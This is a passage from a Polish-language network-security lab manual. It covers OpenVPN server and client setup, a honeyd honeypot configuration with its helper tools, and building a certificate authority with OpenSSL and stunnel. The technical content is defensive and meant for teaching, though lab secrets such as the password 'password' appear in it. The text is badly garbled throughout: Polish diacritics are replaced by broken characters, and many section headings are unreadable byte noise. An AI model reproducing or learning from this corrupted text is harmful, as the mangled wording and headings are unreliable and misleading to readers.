na ko�cu pliku dodaj poni�sze wpisy: 

deb http://ftp.pl.debian.org/debian/ lenny main non-free 
contrib 
deb-src http://ftp.pl.debian.org/debian/ lenny main non-free 
contrib 

Wyjd� z edytora, stosuj�c kombinacje klawiszy ctrl + x, nast�pnie potwierd� 
zapisanie zmian wciskaj�c klawisz t i zapisz nie zmieniaj�c nazwy. 
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7.3.3. Pobierz now� list� dost�pnych programów z repozytoriów poleceniem: 

apt-get update 

7.3.4. Teraz mo�esz zainstalowa� aplikacje przy pomocy polecenia: 

apt-get install openvpn 

7.3.5. Aby wygenerowa� plik ta.key przejd� do katalogu /etc/openvpn/ i u�yj 
polecenia:  

openvpn --genkey --secret ta.key 

Ka�dy klient w katalogu z plikiem konfiguracyjnym musi posiada� kopie 
tego klucza. 

7.3.6. Do katalogu /etc/openvpn/ przenie� cał� zawarto�� katalogu /VPN/serwer/ 
z płyty CD, znajduj� si� w nim gotowe certyfikaty (o tym jak generowa� 
własne certyfikaty przeczytasz w rozdziale 9) oraz plik konfiguracyjny 
serwera. Omówienie wa�niejszych elementów pliku konfiguracyjnego 
serwera poni�ej: 

pierwsza cz��� configu okre�la port, typ serwera oraz rodzaj tunelu. 

port 1194 
proto udp 
dev tun 

kolejne cztery linie wskazuj� miejsce, w którym umie�cili�my certyfikaty 
oraz klucz serwera. 

ca ca.crt 
cert server.crt 
key server.key  # This file should be kept secret 
dh dh1024.pem 

nast�pna linia okre�la zakres adresów IP wykorzystywanych wewn�trz 
tunelu, pierwszy adres z puli (w naszym przypadku 10.8.0.1) przypisywany jest 
zawsze serwerowi. 

server 10.8.0.0 255.255.255.0 
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dodanie poni�szego wpisu do pliku konfiguracyjnego serwera umo�liwia 
wzajemn� komunikacje pomi�dzy klientami, domy�lnie klient widzi jedynie 
serwer, z którym si� ł�czy. 

client-to-client 

keepalive sprawdza czy poł�czenie nie zostało zerwane, wysyłaj�c co 10 
sekund (pierwszy parametr) ping do klienta, je�eli �adna odpowied� nie dotrze 
do serwera w przeci�gu 120 sekund (drugi parametr) serwer uzna, �e poł�czenie 
z klientem zostało utracone. 

keepalive 10 120 

wpis tls-auth stanowi dodatkowe zabezpieczenie przed atakami typu DoS 
oraz UDP port flooding-iem, na serwerze drugi parametr wynosi 0, na klientach 1. 

tls-auth ta.key 0 

dwie poni�sze linie definiuj� algorytm u�yty do szyfrowania i wł�czaj� 
kompresj� (plik konfiguracyjny klienta musi zawiera� dokładnie takie same dwie 
linie).  

cipher AES-256-CBC   
comp-lzo 

7.3.7. Uruchom serwer poleceniem:  

openvpn --config /etc/openvpn/server.conf 

7.3.8. Log serwera podejrzysz przy pomocy polecenia: 

nano /etc/openvpn/openvpn.log 

7.4. K#�% (-��!&���+ �����
 ���,����������/  ��1 2-��-�45645�

7.4.1. Przejd� do wirtualnej maszyny z systemem Ubuntu 10.10. 

7.4.2. Zainstaluj aplikacje przy pomocy tego samego polecenia co w Debianie: 

apt-get install openvpn 
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7.4.3. Do katalogu /etc/openvpn/ przenie� cał� zawarto�� katalogu /VPN/klientA/ 
z płyty CD, znajduj� si� w nim gotowe certyfikaty oraz plik konfiguracyjny 
klienta. Omówienie wa�niejszych elementów pliku konfiguracyjnego klienta 
poni�ej: 

remote okre�la adres hosta, na którym uruchomili�my serwer. 

remote 172.16.1.1 1194 

kolejne trzy linie wskazuj� miejsce, w którym umie�cili�my certyfikaty oraz 
klucz klienta. 

ca ca.crt 
cert clientA.crt 
key clientA.key 

poni�sza linia stanowi dodatkowe zabezpieczenie przed atakami typu „ man 
in the middle”. 

ns-cert-type server 

wpis tls-auth stanowi dodatkowe zabezpieczenie przed atakami typu DoS 
oraz UDP port flooding-iem, na serwerze drugi parametr wynosi 0, na klientach 1. 

tls-auth ta.key 1 

typ szyfrowania i kompresja u�yta na serwerze. 

cipher AES-256-CBC 
comp-lzo 

7.4.4. Przenie� do katalogu /etc/openvpn/ kopie pliku ta.key wygenerowanego na 
serwerze w punkcie 7.3.5. 

7.4.5. Uruchom klienta aplikacji OpenVPN poleceniem:  

openvpn --config /etc/openvpn/client.conf 
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7.4.6. Sprawd� czy serwer (10.8.0.1) odpowiada na pakiety ICMP ECHO 
REQUEST. 

 
Rys. 7.22. Odpowied� serwera na pakiety ICMP ECHO REQUEST 

	ródło: opracowanie własne. 

7.5. K#�% (-��!&���+ �����
 ���,����������/  ���  �$#���0 

7.5.1. Przejd� do wirtualnej maszyny z systemem Windows 7. 

7.5.2. Pobierz najnowsz� stabiln� wersj� instalatora aplikacji OpenVPN dla 
systemu Windows ze strony producenta http://openvpn.net/index.php/open-
source/downloads.html.  

7.5.3. Po zainstalowaniu aplikacji do katalogu C:\Program Files\OpenVPN\config 
przenie� cał� zawarto�� katalogu /VPN/klientB/ z płyty CD, znajduj� si�  
w nim gotowe certyfikaty oraz plik konfiguracyjny klienta dla systemu  
z rodziny Windows. 

7.5.4. Przenie� do katalogu C:\Program Files\OpenVPN\config kopie pliku ta.key 
wygenerowanego na serwerze w punkcie 7.3.5. 

7.5.5. Uruchom aplikacje przy pomocy skrótu Start -> OpenVPN -> OpenVPN 
GUI.lnk 

 
Rys. 7.23. Widok katalogu aplikacji w menu start 

	ródło: opracowanie własne. 

7.5.6. OpenVPN instaluje si� w postaci serwisu, do panelu kontrolnego aplikacji 
dostaniesz si� klikaj�c prawym przyciskiem myszy na charakterystycznej 
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ikonce w zasobniku systemowym (rys. 7.24). Rozwi� menu kontekstowe  
i wybierz Connect. 

 
Rys. 7.24. Widok menu kontekstowego panelu kontrolnego aplikacji 

	ródło: opracowanie własne. 

7.5.7. Gdy poł�czenie powiedzie si�, ikonka w zasobniku systemowym zmieni 
kolor z czerwonego na zielony, kliknij na ni� dwukrotnie, aby wy�wietli� 
konsole z logiem poł�czenia (rys. 7.25). 

 
Rys. 7.25. Log z przebiegu ustalania komunikacji z serwerem 

	ródło: opracowanie własne. 

7.5.8. Sprawd� czy serwer (10.8.0.1) odpowiada na pakiety ICMP ECHO 
REQUEST. 
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8. H
 ��)�
 � 

Opracował: Sebastian Bugała 
Cel �wiczenia: Zapoznanie si� z technologi� Honeypot na przykładzie 

aplikacji honeyd. 
Potrzebne narz�dzia: BackTrack Linux 4, Windows 2003 Server, Ubuntu 

10.10, honeyd 1.5c, nmap, putty. 
Literatura: M. Szmit, M. Gusta, M. Tomaszewski,  

101 zabezpiecze� przed atakami w sieci komputerowej, 
Wyd. Helion 2005, ss. 274-283. 

Pod poj�ciem honeypot w informatyce rozumiemy zbiór narz�dzi, których 
jedynym zadaniem jest przyci�ganie uwagi osób, które w sposób nieautoryzowany 
chc� dosta� si� do naszej sieci produkcyjnej oraz monitorowanie i logowanie 
ka�dego ich kroku w celu zebrania jak najwi�kszej ilo�ci danych o sposobach 
przeprowadzania ataków komputerowych.  

W poni�szym �wiczeniu zajmiemy si� aplikacj� Honeyd, która jest honeypotem 
o niskim poziomie interakcji nastawionym na wykrywanie i monitorowanie 
aktywno�ci osób lub aplikacji próbuj�cych atakowa� nasz� sie�. Elastyczna 
konfiguracja aplikacji pozwala nam na stworzenie czego� w rodzaju wirtualnej 
sieci oraz wirtualnych usług imituj�cych działanie rzeczywistej sieci oraz systemów. 

 
Rys. 8.1. Topologia sieci wykorzystana w �wiczeniu 

	ródło: opracowanie własne. 
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8.1. I����+�!&�� ��#�% (-��!&��7#���$�469!��������/  ��3 �-.�
��!����!��: 

8.1.1. Przejd� do wirtualnej maszyny z systemem BackTrack. 

8.1.2. Do zainstalowania honeyd w systemie Linux BackTrack 4 słu�y polecenie: 

sudo apt-get install honeyd 

8.1.3. Opis wirtualnej topologii pułapki. 

 
Rys. 8.2. Wirtualna sieci zrealizowana za pomoc� pliku konfiguracyjnego bss1.conf 

	ródło: opracowanie własne. 
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Honeyd host – komputer, na którym uruchomiono usług� honeyd w naszym 
przypadku BackTrack 4. 

Router R1 – symuluje sprz�t marki CISCO, posiada adres MAC z puli 
adresowej tej firmy, uruchomiono na nim usług� telnet, jest punktem 
wej�ciowym wirtualnej sieci, przydzielono mu adres sieci fizycznej. 

Router R2 – tak�e symuluje sprz�t marki CISCO, nie wymaga imitowania 
adresu MAC, poniewa� cały ruch kierowany do niego przechodzi przez router 
R1, na nim równie� uruchomiono wirtualn� usług� telnet. 

Wirtualny host 1 / Wirtualny host 2 – symuluj� sprz�t z systemami Windows, 
uruchomiono na nich wirtualn� usług� SSH (ang. Secure Shell – bezpieczny 
protokół wymiany danych) oraz serwer www. 

Wirtualny host 3 – korzysta z dynamicznego wzorca, je�eli poł�czenie nadejdzie 
z systemu rodziny Windows, sam te� odpowie jako Windows z usługami, takimi jak 
Wirtualny host 1/2, w ka�dym innym przypadku przyjmie losow� konfiguracj� 
systemu operacyjnego bez �adnych usług. 

Skrypty emuluj�ce usługi znajdziesz w katalogu /usr/share/honeyd/scripts 
lub pod adresem http://www.honeyd.org/contrib.php 

8.1.4. Omówienie pliku konfiguracyjnego bss1.conf. 

create windows definiuje wirtualne urz�dzenie, które b�dzie symulowało prac� 
komputera z systemem operacyjnym Microsoft Windows XP Professional; wszystkie 
porty z wyj�tkiem 135,139,445 oraz 80, na którym uruchomiona zostanie usługa 
www i portu 22, na którym uruchomiona zostanie usługa SSH s� zamkni�te.  

create windows 
set windows personality "Microsoft Windows XP Professional" 
set windows default tcp action reset 
set windows default udp action reset 
add windows tcp port 80 "sh 
/usr/share/honeyd/scripts/web.sh" 
add windows tcp port 22 "sh 
/usr/share/honeyd/scripts/test.sh $ipsrc $dport" 
add windows tcp port 135 open 
add windows tcp port 139 open 
add windows tcp port 445 open 

poni�sza linia przypisuje wzorzec do adresu IP 

bind 172.16.2.51 windows 
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wszystkie adresy IP, do których nie przypisano zdefiniowanego wzorca 
korzystaj� z poni�szej konfiguracji 

create default 
set default personality random 
set default default tcp action open 
set default default udp action open 

dynamic dhost tworzy wzorzec zmieniaj�cy dynamicznie swoje wła�ciwo�ci; 
je�eli adres IP odpytany zostanie z systemu rodziny Windows, odpowie u�ywaj�c 
wzorca Windows; w ka�dym innym przypadku odwoła si� do wzorca default. 

dynamic dhost 
add dhost use windows if source os = "windows" 
add dhost otherwise use default 

create router2 tworzy wirtualne urz�dzenie, które symulowało b�dzie prac� 
routera marki Cisco, wszystkie porty z wyj�tkiem 23, na którym uruchomiona 
zostanie usługa telnet s� wył�czone, ponadto urz�dzeniu ustawiono uptime, który 
wynosi 1000 s. 

create router2 
set router2 personality "Cisco 2620 router running IOS 
12.1(6)" 
set router2 default tcp action reset 
set router2 default udp action reset 
add router2 tcp port 23 "/usr/share/honeyd/scripts/router-
telnet.pl" 
set router2 uptime 1000 

poni�sza linia tworzy kopie wzorca router2 i zapisuje j� pod nazw� router1. 

clone router1 router2 

router1 jest wzorcem routera wej�ciowego, wi�c musi posiada� adres mac 
poni�sza linia dodaje do wzorca kart� sieciow� z losowym adresem mac wzi�tym 
z puli adresów przydzielonych firmie CISCO. 

set router1 ethernet "cisco" 
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opis wirtualnej topologii informuje, �e z routera 172.16.1.100 (R1) mo�emy 
dosta� si� do dwóch sieci 172.16.2.0/24 oraz 172.16.1.100/32 (router musi by� 
osi�galny dla samego siebie �eby odpowiadał na pakiety ICMP). 

route entry 172.16.1.100 network 172.16.2.0/24 
route 172.16.1.100 link 172.16.2.0/24 
route 172.16.1.100 link 172.16.1.100/32 

dodanie do routera wej�ciowego (R1) trasy wiod�cej do sieci 172.16.3.0/24 
przez router 172.16.2.100 (R2) z nast�puj�cymi parametrami: �redni czas 
opó�nienia 50 ms, �rednio 1 procent pakietów nie dotrze do celu, przepustowo�� 
ł�cza wynosi 50 Kb/s. Zmiany te maj� na celu wierniejsze odwzorowanie 
rzeczywistej sieci. 

route 172.16.1.100 add net 172.16.3.0/24 172.16.2.100 
latency 50ms 
loss 1 bandwidth 50Kbps 
 

8.2. U�-!7#/  �� ��7#���$��������/  ��3 �-.���!����!��: 

8.2.1. W katalogu /root stwórz katalog /honeyd  

mkdir /root/honeyd 

a nast�pnie przenie� do niego zawarto�� katalogu /honeypot z płyty DVD. 

8.2.2. Stwórz plik, w którym logowane b�d� wszystkie poczynania intruza:  

touch /var/log/honeyd.log 

8.2.3. Demona uruchom z linii polece� u�ytkownika root, znajduj�c si� w katalogu  
z plikiem konfiguracyjnym (/root/honeyd) przy pomocy polecenia z nast�- 
puj�cymi parametrami: 

honeyd -d -p /usr/share/honeyd/nmap.prints -x /usr/share/honeyd/xprobe2.conf -
a /usr/share/honeyd/nmap.assoc -f bss1.conf -l /root/honeyd/honeyd.log -i 
eth0 172.16.1.100 172.16.2.100 172.16.2.51 172.16.2.52 172.16.3.0/24  
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gdzie: 

-d – wyniki działania programu b�d� wy�wietlane na bie��co w konsoli, 
brak tej opcji spowoduje uruchomienie demona w tle, 

-p /usr/share/honeyd/nmap.prints – wskazuje �cie�k� do pliku z „odciskami 
palców” systemów operacyjnych u�ywanymi przez skaner nmap, 

-x /usr/share/honeyd/xprobe2.conf – wskazuje �cie�k� do pliku z „odciskami 
palców” systemów operacyjnych u�ywanymi przez skaner xprobe, 

-a /usr/share/honeyd/nmap.assoc – �cie�ka do pliku wi���cego dwa 
powy�sze magazyny „odcisków palców” systemów operacyjnych, 

-l /var/log/honeyd.log – wyniki działania programu b�d� dodatkowo 
logowane we wskazanym pliku, 

-f – �cie�ka do pliku konfiguracyjnego, 
-i – definiuje interfejs, na którym nasłuchiwał b�dzie program oraz 

adresy IP dla których symulowane b�d� wirtualne urz�dzenia, 
-c localhost:1234:bss:password – wskazuje miejsce, gdzie b�d� wysyłane 

statystyki oraz sposób autoryzacji. 

Rys. 8.3 przedstawia przebieg procesu prawidłowo uruchomieni demona 
aplikacji honeyd. 

 
Rys. 8.3. Uruchomienie narz�dzia honeyd 

	ródło: opracowanie własne. 

8.3. H#���$!�+�A�7#���$�!#���#+�����+ 

Honeydctl jest dodatkiem do programu honeyd pozwalaj�cym na ingerencje 
w konfiguracje demona bez potrzeby jego restartowania. Honeydctl udost�pnia 
wiersz polece� wspieraj�cy wszystkie polecenia konfiguracyjne demona; oznacza 
to �e mo�liwe jest usuwanie, dodawanie, modyfikowanie, przypisywanie wzorców 
do nowych adresów IP, tworz�c w ten sposób na bie��co nowe wirtualne hosty. 
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8.3.1. Uruchom dodatek, wpisuj�c w konsoli tego samego systemu, na którym 
uruchomiony został demon honeyd nast�puj�ce polecenie: 

honeydctl -v 

Aplikacja poł�czy si� z demonem i udost�pni wiersz polece� wygl�daj�cy 
dokładnie tak, jak na rysunku poni�ej. 

 
Rys. 8.4. Honeyd 1.5c − Management Konsole 

	ródło: opracowanie własne. 

8.3.2. W konsoli honeydctl wpisz: 

list template 

Polecenie umo�liwia wy�wietlenie listy wszystkich wirtualnych hostów 
symulowanych przez demona honeyd, efekt działania polecenia przestawia rys. 8.5. 

 
Rys. 8.5. Prezentacja podstawowych mo�liwo�ci dodatku honeydctl 

	ródło: opracowanie własne. 

Przy pomocy polecenia list template mo�esz te�: podejrze� konfiguracje 
dokładnie jednego wzorca 

list template „windows”  

podejrze� konfiguracje jednego hosta 
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list template „172.16.1.100” 

wy�wietli� konfiguracje wzorców o podobnych nazwach 

list template „wind*” 

wy�wietli� grup� hostów b�d�cych w tej samej przestrzeni adresowej 

list template „172.16.*” 

8.3.3. Nowego wirtualnego hosta dodasz za pomoc� polecenia o nast�puj�cej 
składni: 

bind adres_ip nazwa_wzorca_zdefiniowanego_w_pliku_configuracyjnym  

dla sieci 172.16.3.0/24 wygl�da ono nast�puj�co: 

bind 172.15.3.55 windows 

poleceniem list sprawd� czy nowy host został pomy�lnie dodany. Uwaga, 
adres nowego hosta musi zawiera� si� w zakresie adresów IP podanych 
przy uruchamianiu demona honeyd. 

8.3.4. Nowe wzorce urz�dze�/systemów dodasz przy pomocy tych samych polece� 
co w pliku konfiguracyjnym. Rysunek poni�ej przedstawia dodanie nowego 
wzorca o nazwie „sticky” symuluj�cego hosta z ustawion� pułapk� maj�c� 
spowolni� spamera lub „ robaki” . 

 
Rys. 8.6. Dodawanie nowego wzorca urz�dzenia przy pomocy dodatku honeydctl 

	ródło: opracowanie własne. 

Dodaj nowe urz�dzenie, stosuj�c dokładnie tak� sam� sekwencje polece� jak 
na rysunku powy�ej. 

Uwaga, pami�taj, �e wszystkie zmiany nie zostan� automatycznie dopisane 
do pliku konfiguracyjnego, z którego korzysta demon honeyd i po jego zamkni�ciu 
lub restarcie zostan� utracone. 
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8.4. H#���$������A�"2 ���� ����������� 

Honeydstats jest kolejnym dodatkiem do aplikacji honeyd pozwalaj�cym na 
przechwytywanie i zapisywanie podstawowych statystkach, takich jak wersje 
systemu ł�cz�ce si� z naszymi wirtualnymi hostami, czy te� najcz��ciej u�ywane 
porty. 

8.4.1. Do prawidłowego działania aplikacja potrzebuje pliku konfiguracyjnego,  
w którym przechowywane s� pary u�ytkownik:hasło wykorzystywane do 
autoryzacji. Na komputerze, na którym uruchomiono demona honeyd dodaj 
plik konfiguracji, korzystaj�c z poni�szych polece�:  

touch /root/honeyd/stats.config 
echo bss:password > /root/honeyd/stats.config 

8.4.2. Nast�pnie dodaj dwa pliki, w których przechowywane b�d� statystyki 

touch /root/honeyd/os.txt 
touch /root/honeyd/port.txt 

8.4.3. Uruchom dodatek przy pomocy nast�puj�cego polecenia: 

honeydstats -f /root/honeyd/stast.config --os_report /root/honeyd/os.txt --
port_report /root/honeyd/port.txt -l lochalhost -p 1234 

gdzie: 

-f /root/honeyd/stast.config – �cie�ka do pliku z konfiguracj� u�ytkowników 
i haseł 

--os_report /root/honeyd/os.txt – �cie�ka do pliku, gdzie zapisywane b�d� 
statystyki zwi�zanie z wersjami systemów, które nawi�zały z nami połaczenie, 

--port_report /root/honeyd/port.txt – �cie�ka do pliku, gdzie zapisywana 
b�dzie statystyka odwiedzanych portów, 

-l lochalhost – adres na którym nasłuchuje aplikacja, 
-p 1234 – port, na którym nasłuchuje aplikacja. 
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Od tego momentu honeydstats b�dzie działał w tle, zapisuj�c w plikach 
wszystkie statystyki odebrane od demona honeyd w formie widocznej na rysunkach 
poni�ej: 

 
Rys. 8.7. Przykładowy wygl�d pliku os.txt  

	ródło: opracowanie własne. 

 
Rys. 8.8. Przykładowy wygl�d pliku port.txt 

	ródło: opracowanie własne. 

Kolumna pierwsza odpowiada za wersje systemu/port, druga za ilo�� odwiedzin 
w ostatniej minucie, trzecia za ilo�� odwiedzin w ostatniej godzinie, czwarta 
dotyczy poł�cze� z ostatniego dnia. 

8.5. H#���$�-/ >=56<�A����+ "#��� ��+#(8� 

Honeydsum to skrypt napisany w j�zyku perl pozwalaj�cy na analizowanie  
i prezentowanie w łatwy sposób logów aplikacji honeyd. Przy jego pomocy 
mo�emy wygenerowa� na podstawie pliku z logami stron� www, na której  
w przejrzystej formie zaprezentowane zostan� statystyki dotycz�ce aktywno�ci 
poszczególnych urz�dze� w naszej wirtualnej sieci. 

8.5.1. Do prawidłowego działania skrypt potrzebuje dwóch dodatkowych bibliotek 
pozwalaj�cych na generowanie wykresów. Zainstalujesz je przy pomocy 
polece�: 

apt-get install libgd-graph-perl 
apt-get install libgd-graph3d-perl 

8.5.2. Zmodyfikuj plik konfiguracyjny honeydsum.conf znajduj�cy si� w katalogu 
/usr/share/honeyd/scripts/honeydsum-v0.3/ 
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W honeypot_list wpisz adresy wszystkich honeydpotów oddzielone przecinkami 

# list of honeypot’s IP addresses for filtering. 
honeypot_list=172.16.2.51,172.16.2.52,172.16.2.100,172.16.3.
51,172.16.3.52 

w miejscu html_file podaj link do folderu głównego apache  

# html output file. Used by –w option. 
html_file=/var/www/index.html 

8.5.3. Z poziomu katalogu /usr/share/honeyd/scripts/honeydsum-v0.3/ uruchom 
skrypt nast�puj�cym poleceniem. 

./honeydsum.pl –c honeydsum.conf /var/log/honeyd.log 

gdzie: 

-c honeydsum.con – �cie�ka do pliku konfiguracyjnego 
/var/log/honeyd.log – �cie�ka do pliku z logami honeyd 

 
Rys. 8.9. Graficzna reprezentacja informacji zawartych w logu aplikacji honeyd 

	ródło: opracowanie własne. 
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8.5.4. Uruchom Apache, wpisuj�c  

start-apache 

8.5.5. Uruchom skrypt raz jeszcze, tym razem dodaj parametr „ –w” , który 
spowoduje wygenerowanie plików html zawieraj�cych graficzne zestawienie 
informacji zawartych w logu. 

./honeydsum.pl –w –c honeydsum.conf /var/log/honeyd.log 

8.5.6. Na Wirtualnej Maszynie, na której uruchomiono skrypt honeydsum otwórz 
dowoln� przegl�dark� internetow� i wejd� na localhosta. Dwa poni�sze 
rysunki prezentuj� efekt działania skryptu. 

 
Rys. 8.10. Widok przykładowego zestawienia poł�cze� z poszczególnymi honeypotami 

	ródło: opracowanie własne. 

 
Rys. 8.11. Widok przykładowego zestawienia poł�cze� z poszczególnymi portami  

dla routera R2. 	ródło: opracowanie własne. 
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8.6. T���#��� ��$" �C�� ��� ��-�+��&�� �!  

8.6.1. Na maszynie wirtualnej z systemem Windows 7 przy pomocy polecenia 
ping sprawd� czy wirtualne hosty odpowiadaj� na pakiety ICMP zgodnie z 
ustawieniami zapisanymi w pliku konfiguracyjnym. 

 
Rys. 8.12. Odpowiedz na test ping a adresu wirtualnego routera 

	ródło: opracowanie własne. 

Zgodnie z konfiguracj� w pliku bss1.conf dla sieci 172.16.2.0/24 oraz 
172.16.3.0/24 czas odpowiedzi na pakiety ICMP wynosi ponad 50 ms oraz cz��� 
pakietów została zablokowana (rys. 8.12). 

Na rys. 8.13 wida� jak honeyd przechwycił zapytania ICMP Echo Request 
do nieistniej�cego hosta o adresie 172.16.2.100 i odpowiedział na nie podszywaj�c 
si� pod ten adres. 

 
Rys. 8.13. Fałszowanie odpowiedzi ICMP przez honeyd 

	ródło: opracowanie własne. 

8.6.2. Przy pomocy polecenia tracert sprawdzi jak� tras� pokonuj� pakiety i czy 
jest ona taka, jak� przewiduje plik konfiguracyjny. 

 
Rys. 8.14. Trasa do Wirtualnego hosta 2 

	ródło: opracowanie własne. 
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Rys. 8.15 przedstawia reakcje aplikacji honeyd na prób� zbadania trasy 
pakietów do wirtualnego hosta 2. 

 
Rys. 8.15. Odwzorowanie trasy pokonywanej prze pakiet wewn�trz wirtualnej sieci 

	ródło: opracowanie własne. 

8.6.3. Na maszynie wirtualnej z systemem Ubuntu 10.10 przeskanuj cał� sie� 
172.16.2.0/24 w poszukiwaniu aktywnych adresów IP. 

 
Rys. 8.16. Skanowanie wirtualnej przestrzeni adresowej za pomoc� nmap-a 

	ródło: opracowanie własne. 

Efektem skanowania jest lita adresów IP wszystkich wirtualnych hostów 
oraz router R2 znajduj�cych si� w tej sieci. 
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8.6.4. Na maszynie wirtualnej z systemem Windows 7 poł�cz si� za pomoc� 
aplikacji putty telnetem z routerem R2. 

 
Rys. 8.17. Widok skryptu imituj�cego logowanie do routera przy pomocy telnetu  

	ródło: opracowanie własne. 

Powy�szy obrazek otrzymamy w przypadku poprawnej konfiguracji, 
oczywi�cie zalogowanie si� do routera jest niemo�liwe, skrypt zwróci za ka�dym 
razem bł�d o tre�ci „ % Login invalid” . Rys. 8.18 przedstawia w jaki sposób na 
tego typu poł�czenie reaguje aplikacja honeyd. 

 
Rys. 8.18. Wywołanie skryptu logowania przez aplikacje honeyd  

przy próbie nawi�zania poł�czenia na porcie 23 
	ródło: opracowanie własne. 
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8.6.5. W celu przetestowania usługi www wywołaj z dowolnej przegl�darki adres 
dowolnego wirtualnego hosta. 

 
Rys. 8.19. Efekt działania skryptu emuluj�cego serwer www 

	ródło: opracowanie własne. 

W przypadku, gdy skrypt działa prawidłowo otrzymasz przykładow� pseudo- 
stron� www (rys. 8.19). 
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9. I�������1 *�1 ���*31 	����1 �3�	���� 
  

Opracował: Sebastian Bugała 
Cel �wiczenia: Zapoznanie si� z Infrastruktur� Klucza Publicznego. 
Potrzebne narz�dzia: Openssl, stunnel, apache, BackTrack 4 R2, Microsoft 

Windows 7, Ubuntu 10.10 
Literatura: M. Szmit, M. Gusta, M. Tomaszewski,  

101 zabezpiecze� przed atakami w sieci komputerowej, 
Wyd. Helion 2005, ss. 70-73. 

PKI (ang. Public Key Infrastructure, Infrastruktura klucza publicznego) to 
struktura opieraj�ca si� o zaufanie do urz�dów certyfikacji jako jednostek, które 
potwierdzaj� to�samo�� posiadaczy certyfikatów przez te jednostki wystawionych. 
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Rys. 9.1. Topologia sieci wykorzystana w �wiczeniu 

	ródło: opracowanie własne. 

9.1. C����% �������/ #�#$� �����A�(����#��� ���C����(#�
	����-/ �	����% ��!&  

9.1.1. Zainstaluj pakiet Openssl poleceniem: 

apt-get install openssl 
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9.1.2. Przejd� do katalogu /usr/lib/ssl/misc/ i wykonaj skrypt ./CA.sh: 

./CA.sh -newca 

9.1.3. Po uruchomieniu skryptu, gdy zobaczysz komunikat taki jak na rys. 9.2, 
wci�nij Enter. 

 
Rys. 9.2. Zainicjowanie skryptu tworz�cego nowe CA 

	ródło: opracowanie własne. 

9.1.4. Nast�pnym krokiem jest podanie hasła, którym b�dzie zabezpieczony 
klucz prywatny, po podaniu hasła zostaniesz poproszony o jego powtórzenie 
(rys. 9.3). Na potrzeby �wiczenia u�yj hasła „password”. 

 
Rys. 9.3. Zabezpieczenie klucza prywatnego hasłem 

	ródło: opracowanie własne. 

9.1.5. Uzupełnij wymagane pola: Country Name (dwuliterowy skrót nazwy 
pa�stwa), State Or Province Name (województwo), Locality Name 
(miasto), Organization Name (firma), Organizational Unit Name (dział 
firmy – opcjonalnie), Common Name (nazwa wystawiaj�cego certyfikat), 
Email Address (mail). Przy pytaniu o dodatkowe atrybuty wci�nij 
dwukrotnie Enter (rys. 9.4). 

 
Rys. 9.4. Cze�� skryptu odpowiedzialna za pobranie informacji zawartych w CA 

	ródło: opracowanie własne. 
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9.1.6. W ostatnim kroku zostanie wy�wietlone podsumowanie zawieraj�ce 
wszystkie informacje, jakie b�d� zawarte w Centrum Certyfikacji. 

 
Rys. 9.5. Podsumowanie informacji zawartych w certyfikacie 

	ródło: opracowanie własne. 

9.1.7. W wyniku działania skryptu zostanie utworzony komplet certyfikatów dla 
naszego CA (rys. 9.6). 

 
Rys. 9.6. Efekt działania skryptu ./CA.sh 

	ródło: opracowanie własne. 

9.2. C����% �������/ #�#$� �����A�(����#��� ��!����% ���-��
$+�������������!"��

 

9.2.1. W katalog /root/ stwórz katalog /cert (w którym przechowywane b�d� 
generowane przez Ciebie pliki), a w nim podkatalog /apache: 

mkdir /root/cert/ 
mkdir /root/cert/apache 

nast�pnie skopiuj do katalogu apache certyfikat główny  

cp /usr/lib/ssl/misc/demoCA/cacert.pem /root/cert/apache/ca.pem 
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9.2.2. Przejd� do /usr/lib/ssl/misc/ i uruchom skrypt ./CA.sh -newreq w celu 
wygenerowania nowego certyfikatu dla serwera apache. Procedura 
generowania certyfikatu wygl�da podobnie do tej z punktów 9.1.3-9.1.5,  
z tego wzgl�du zostanie tutaj pomini�ta, musisz jedynie zwróci� uwag� na 
to, �eby w polu Common Name poda� pełn� nazw� domenow� swojego 
serwera (rys. 9.7). 

 
Rys. 9.7. Common Name jako pełna nazwa domenowa serwera,  

dla którego wystawiony został certyfikat 
	ródło: opracowanie własne. 

9.2.3. Po wygenerowaniu certyfikatu musisz go jeszcze podpisa�, �eby nada� mu 
wiarygodno�ci; w tym celu uruchom skrypt ./CA.sh –sign. Na samym 
pocz�tku poproszony zostaniesz o podanie hasła z punktu 9.1.4 w celu 
potwierdzenia własno�ci CA (rys. 9.8). 

 
Rys. 9.8. Potwierdzenie własno�ci CA 

	ródło: opracowanie własne. 

Nast�pnie wy�wietlone zostan� szczegóły certyfikatu który ma by� 
podpisany i poproszony zostaniesz o potwierdzenie operacji, wpisz y i potwierd� 
wciskaj�c Enter (rys. 9.9). 

 
Rys. 9.9. Potwierdzenie procedury podpisania nowego certyfikatu 

	ródło: opracowanie własne. 

Na ko�cu wy�wietlona zostanie informacja o miejscu, w którym znajduje si� 
podpisany certyfikat. 

9.2.4. Przenie� wygenerowane pliki do folderu /root/cert/apache/ przy pomocy 
polece�: 

mv newkey.pem /root/cert/apache/ 
mv newcert.pem /root/cert/apache/ 

O tym, jak wykorzysta� wygenerowany certyfikat dowiesz si� w dalszej 
cz��ci �wiczenia. 
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9.3. C����% �������/ #�#$� �����A�(����#��� ��!����% ���-��
$+����+ ��!& ���-���+ 

9.3.1. W katalogu /root/cert/ stwórz katalog stunnel: 

mkdir /root/cert/stunnel 

nast�pnie przenie� do niego certyfikat główny: 

cp /usr/lib/ssl/misc/demoCA/cacert.pem /root/cert/stunnel/ca.pem 

oraz plik stunnel.cnf znajduj�cy si� w katalogu 
/usr/share/doc/stunnel4/examples/ 

cp /usr/share/doc/stunnel4/examples/stunnel.cnf /root/cert/stunnel/ 

9.3.2. Wejd� do katalogu /root/cert/stunnel/ 

cd /root/cert/stunnel/ 

9.3.3. Teraz mo�esz przej�� ju� do wła�ciwej cz��ci, czyli generowania certyfikatu, 
wpisz: 

openssl req -new -x509 -nodes -config stunnel.cnf -out stunnel.pem -keyout 
stunnel.pem 

nast�pnie uzupełnij certyfikat o wymagane dane (rys. 9.10): 

 
Rys. 9.10. Generowanie certyfikatu dal aplikacji stunnel 

	ródło: opracowanie własne. 
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9.3.4. W efekcie otrzymujesz dwa pliki stunnel.pem oraz stunnel.rnd; ten drugi 
usu�, usu� tak�e stunnel.cnf, poniewa� nie b�dzie Ci ju� potrzebny. O tym 
jak wykorzysta� wygenerowany certyfikat dowiesz si� w dalszej cz��ci 
�wiczenia. 

9.4. C����% �������/ #�#$� �����A�(����#��� ��!����% ���8���
#��"��+-!"��$+����+ ��!& �
 ���,�� 

Do wygenerowania certyfikatów oraz kluczy wykorzystamy skrypty 
dostarczone wraz z aplikacj� OpenVPN.  

